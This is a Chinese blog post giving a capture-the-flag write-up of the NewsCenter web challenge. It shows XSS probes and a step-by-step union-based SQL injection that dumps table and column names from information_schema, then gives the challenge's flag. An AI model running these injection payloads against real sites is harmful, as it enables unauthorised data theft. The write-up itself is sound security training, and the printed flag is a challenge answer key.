攻防世界:Web:NewsCenter靶场复盘

靶场内容:

image
image

需要吐槽一下,这个靶场我起码进了五次,环境才没有错

漏洞分析

  • 拿到题目,是一个新闻搜索框
  • 猜想可能有两种漏洞:XSS漏洞和SQL漏洞
  • 尝试XSS漏洞:<script>alert(1)</script>'"/><script>alert(1)</script>
  • 然后就报错了呃
  • 尝试SQL注入:(这里注释使用#,猜想--+可能被过滤)
    • 输入 1 不报错(废话)
    • 输入 1' 报错,猜想可能是变量用单引号包裹的
    • 输入 1" 不报错,说明极有可能是单引号包裹
    • 输入 1'# 不报错,说明就是单引号包裹的
  • 使用语句:1' and 1=2 union select 1,2,3 #(试过好多遍了才知道是三位)判断2,3被回显出来了
  • 爆数据库:1' and 1=2 union select 1,2,database() #
  • 爆表名:1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #
  • 猜想我们的数据表应该是secret_table
  • 爆列名:1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() #
  • 此时看见了fl4g列,猜想这个是flag
  • 输入1' and 1=2 union select 1,2,fl4g from secret_table#
  • 就可得到flag:QCTF{sq1_inJec7ion_ezzz}
posted @ 2021-08-20 21:51  Zeker62  阅读(175)  评论(0编辑  收藏  举报